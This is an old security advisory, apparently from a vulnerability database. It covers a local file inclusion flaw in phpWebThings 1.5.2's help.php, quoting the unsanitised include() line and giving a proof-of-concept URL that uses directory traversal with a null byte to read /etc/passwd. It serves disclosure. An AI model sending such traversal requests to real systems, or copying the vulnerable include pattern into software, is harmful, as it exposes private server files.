phpWebThings <= 1.5.2 (help.php module) Local File Inclusion Vuln

2009.06.18
Credit: br0ly
Risk: Low
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

---------------------------------------------------------------------------------------------------- Name : phpwebthings <= 1.5.2 Site : http://sourceforge.net/projects/phpwebthings/ Down : http://sourceforge.net/project/downloading.php?group_id=19103&filename=phpwebthings_1_5_2.zip&a=46042396 ---------------------------------------------------------------------------------------------------- Found By : br0ly Made in : Brasil Contact : br0ly[dot]Code[at]gmail[dot]com ---------------------------------------------------------------------------------------------------- Description: Bug : Local File Inclusion Look this: <?php theme_draw_centerbox_open("Help"); if (isset($_GET["module"])) include("modules/{$_GET["module"]}/lang/help_{$cfg["core"]["lang"]}.php"); <-- Vul else include("lang/help_{$cfg["core"]["lang"]}.php"); If magic_quotes_gpc=off --> LFI; ---------------------------------------------------------------------------------------------------- P0c: LFI:http://localhost/Scripts/phpwebthings_1_5_2/help?module=../../../../../../../../../../../../etc/passwd%00 OBS: need register_globals=on; ----------------------------------------------------------------------------------------------------

References:

http://www.milw0rm.com/exploits/8928


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top